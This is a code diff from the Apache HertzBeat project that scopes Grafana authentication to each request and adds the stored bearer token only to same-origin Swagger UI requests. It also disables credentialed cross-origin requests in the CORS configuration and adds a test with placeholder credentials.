+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.hertzbeat.grafana.service;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import org.apache.hertzbeat.common.constants.NetworkConstants;
+import org.apache.hertzbeat.grafana.config.GrafanaProperties;
+import org.apache.hertzbeat.grafana.dao.GrafanaConfigDao;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+import org.springframework.http.HttpEntity;
+import org.springframework.http.HttpMethod;
+import org.springframework.http.ResponseEntity;
+import org.springframework.web.client.RestTemplate;
+
+/**
+ * Test case for {@link ServiceAccountService}.
+ */
+@ExtendWith(MockitoExtension.class)
+class ServiceAccountServiceTest {
+
+    @Mock
+    private GrafanaProperties grafanaProperties;
+
+    @Mock
+    private GrafanaConfigDao grafanaConfigDao;
+
+    @Mock
+    private RestTemplate restTemplate;
+
+    private ServiceAccountService serviceAccountService;
+
+    @BeforeEach
+    void setUp() {
+        when(grafanaProperties.getPrefix()).thenReturn("https://");
+        when(grafanaProperties.getUrl()).thenReturn("grafana.example");
+        when(grafanaProperties.username()).thenReturn("admin");
+        when(grafanaProperties.password()).thenReturn("password");
+        serviceAccountService = new ServiceAccountService(grafanaProperties, grafanaConfigDao, restTemplate);
+        serviceAccountService.init();
+    }
+
+    @Test
+    void keepsGrafanaAuthenticationScopedToTheRequest() {
+        when(restTemplate.exchange(
+                eq("https://grafana.example/api/serviceaccounts/search"),
+                eq(HttpMethod.GET),
+                any(HttpEntity.class),
+                eq(String.class)))
+                .thenReturn(ResponseEntity.ok("{\"serviceAccounts\":[]}"));
+
+        serviceAccountService.getAccounts();
+
+        verify(restTemplate, never()).getInterceptors();
+        ArgumentCaptor<HttpEntity<String>> requestCaptor = ArgumentCaptor.forClass(HttpEntity.class);
+        verify(restTemplate).exchange(
+                eq("https://grafana.example/api/serviceaccounts/search"),
+                eq(HttpMethod.GET),
+                requestCaptor.capture(),
+                eq(String.class));
+        assertEquals(
+                "Basic YWRtaW46cGFzc3dvcmQ=",
+                requestCaptor.getValue().getHeaders().getFirst(NetworkConstants.AUTHORIZATION));
+    }
+}

hertzbeat-manager/src/main/java/org/apache/hertzbeat/manager/config/AuthorizedSwaggerIndexTransformer.java

@@ -0,0 +1,126 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package org.apache.hertzbeat.manager.config;
+
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+
+import jakarta.servlet.http.HttpServletRequest;
+import org.springdoc.core.properties.SwaggerUiConfigProperties;
+import org.springdoc.core.properties.SwaggerUiOAuthProperties;
+import org.springdoc.core.providers.ObjectMapperProvider;
+import org.springdoc.webmvc.ui.SwaggerIndexPageTransformer;
+import org.springdoc.webmvc.ui.SwaggerWelcomeCommon;
+import org.springframework.core.io.Resource;
+import org.springframework.web.servlet.resource.ResourceTransformerChain;
+import org.springframework.web.servlet.resource.TransformedResource;
+
+/**
+ * Adds the HertzBeat access token to same-origin requests made by Swagger UI.
+ */
+final class AuthorizedSwaggerIndexTransformer extends SwaggerIndexPageTransformer {
+
+    private static final String SWAGGER_INITIALIZER = "swagger-initializer.js";
+
+    private static final String PRESETS_MARKER = "presets: [";
+
+    private static final String INTERCEPTOR_MARKER = "requestInterceptor: (request) => {";
+
+    private static final String INTERCEPTOR_RETURN = "return request;";
+
+    private static final String AUTHORIZATION_LOGIC = """
+              const currentUrl = new URL(document.URL);
+              const requestUrl = new URL(request.url, document.location.origin);
+              const sameOrigin = currentUrl.protocol === requestUrl.protocol && currentUrl.host === requestUrl.host;
+              const token = window.localStorage.getItem('Authorization');
+              if (sameOrigin && token) {
+                request.headers['Authorization'] = `Bearer ${token}`;
+              }
+            """;
+
+    private static final String AUTHORIZATION_INTERCEPTOR = """
+            requestInterceptor: (request) => {
+            %s
+              return request;
+            },
+            """.formatted(AUTHORIZATION_LOGIC.stripTrailing());
+
+    AuthorizedSwaggerIndexTransformer(SwaggerUiConfigProperties swaggerUiConfig,
+                                       SwaggerUiOAuthProperties swaggerUiOauthProperties,
+                                       SwaggerWelcomeCommon swaggerWelcomeCommon,
+                                       ObjectMapperProvider objectMapperProvider) {
+        super(swaggerUiConfig, swaggerUiOauthProperties, swaggerWelcomeCommon, objectMapperProvider);
+    }
+
+    @Override
+    public Resource transform(HttpServletRequest request, Resource resource,
+                              ResourceTransformerChain transformerChain) throws IOException {
+        final Resource transformed = super.transform(request, resource, transformerChain);
+        if (!SWAGGER_INITIALIZER.equals(resource.getFilename())) {
+            return transformed;
+        }
+        final String initializer;
+        try (final var input = transformed.getInputStream()) {
+            initializer = new String(input.readAllBytes(), StandardCharsets.UTF_8);
+        }
+        return new TransformedResource(transformed,
+                addAuthorizationInterceptor(initializer).getBytes(StandardCharsets.UTF_8));
+    }
+
+    /**
+     * Springdoc writes an interceptor of its own when csrf support is turned on. Two keys
+     * of the same name would silently drop one of them, so the token is appended to the
+     * body already there. It goes in at the end because the last write to a header wins,
+     * and springdoc can be configured to write to {@code Authorization} as well. The
+     * declarations above are named apart from the ones springdoc emits on purpose: the
+     * two bodies share a scope, so a collision would be a syntax error.
+     *
+     * @param initializer the swagger initializer script
+     * @return the script with the token attached to its outgoing requests
+     */
+    static String addAuthorizationInterceptor(String initializer) {
+        final int interceptor = initializer.indexOf(INTERCEPTOR_MARKER);
+        if (interceptor >= 0) {
+            final int returnStatement = initializer.indexOf(INTERCEPTOR_RETURN,
+                    interceptor + INTERCEPTOR_MARKER.length());
+            if (returnStatement < 0) {
+                throw new IllegalStateException("the swagger initializer interceptor no longer returns the request");
+            }
+            return insertLineBefore(initializer, returnStatement, AUTHORIZATION_LOGIC);
+        }
+        final int presets = initializer.indexOf(PRESETS_MARKER);
+        if (presets < 0) {
+            throw new IllegalStateException("the swagger initializer no longer contains the presets marker");
+        }
+        return insertLineBefore(initializer, presets, AUTHORIZATION_INTERCEPTOR);
+    }
+
+    /**
+     * @param initializer the swagger initializer script
+     * @param index       an index into the line to insert in front of
+     * @param insertion   the lines to insert, newline terminated
+     * @return the script with the insertion on its own lines, leaving the indentation of
+     *         the line at {@code index} alone
+     */
+    private static String insertLineBefore(String initializer, int index, String insertion) {
+        final int lineStart = initializer.lastIndexOf('\n', index) + 1;
+        return initializer.substring(0, lineStart) + insertion + initializer.substring(lineStart);
+    }
+}

hertzbeat-manager/src/main/java/org/apache/hertzbeat/manager/config/SecurityCorsConfiguration.java

@@ -35,7 +35,9 @@ public class SecurityCorsConfiguration {
     public FilterRegistrationBean corsFilter() {
         UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
         CorsConfiguration corsConfiguration = new CorsConfiguration();
-        corsConfiguration.setAllowCredentials(true);
+        // Requests authenticate with a token in the Authorization header rather than a
+        // cookie, so no request relies on ambient credentials being sent cross origin.
+        corsConfiguration.setAllowCredentials(false);
         corsConfiguration.setAllowedOriginPatterns(Collections.singletonList(CorsConfiguration.ALL));
         corsConfiguration.addAllowedHeader(CorsConfiguration.ALL);
         corsConfiguration.addAllowedMethod(CorsConfiguration.ALL);

hertzbeat-manager/src/main/java/org/apache/hertzbeat/manager/config/SwaggerConfig.java

@@ -25,6 +25,13 @@ import io.swagger.v3.oas.models.info.Info;
 import io.swagger.v3.oas.models.info.License;
 import io.swagger.v3.oas.models.security.SecurityRequirement;
 import io.swagger.v3.oas.models.security.SecurityScheme;
+import org.springdoc.core.properties.SwaggerUiConfigProperties;
+import org.springdoc.core.properties.SwaggerUiOAuthProperties;
+import org.springdoc.core.providers.ObjectMapperProvider;
+import org.springdoc.webmvc.ui.SwaggerIndexTransformer;
+import org.springdoc.webmvc.ui.SwaggerWelcomeCommon;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnWebApplication;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
 
@@ -37,6 +44,27 @@ public class SwaggerConfig {
 
     private static final String SECURITY_SCHEME_NAME = "BearerAuth";
 
+    /**
+     * The springdoc beans this one is built from only exist while both switches are on:
+     * its own ui configuration is conditional on {@code SpringDocConfiguration}, which
+     * {@code springdoc.api-docs.enabled} gates in turn. Matching both switches keeps a
+     * deployment that turns the document off from failing to start.
+     *
+     * @return the swagger ui index transformer, replacing the springdoc default
+     */
+    @Bean
+    @ConditionalOnWebApplication(type = ConditionalOnWebApplication.Type.SERVLET)
+    @ConditionalOnProperty(name = {"springdoc.api-docs.enabled", "springdoc.swagger-ui.enabled"},
+            havingValue = "true", matchIfMissing = true)
+    public SwaggerIndexTransformer authorizedSwaggerIndexTransformer(
+            SwaggerUiConfigProperties swaggerUiConfig,
+            SwaggerUiOAuthProperties swaggerUiOauthProperties,
+            SwaggerWelcomeCommon swaggerWelcomeCommon,
+            ObjectMapperProvider objectMapperProvider) {
+        return new AuthorizedSwaggerIndexTransformer(swaggerUiConfig, swaggerUiOauthProperties,
+                swaggerWelcomeCommon, objectMapperProvider);
+    }
+
     @Bean
     public OpenAPI springOpenApi() {
         return new OpenAPI()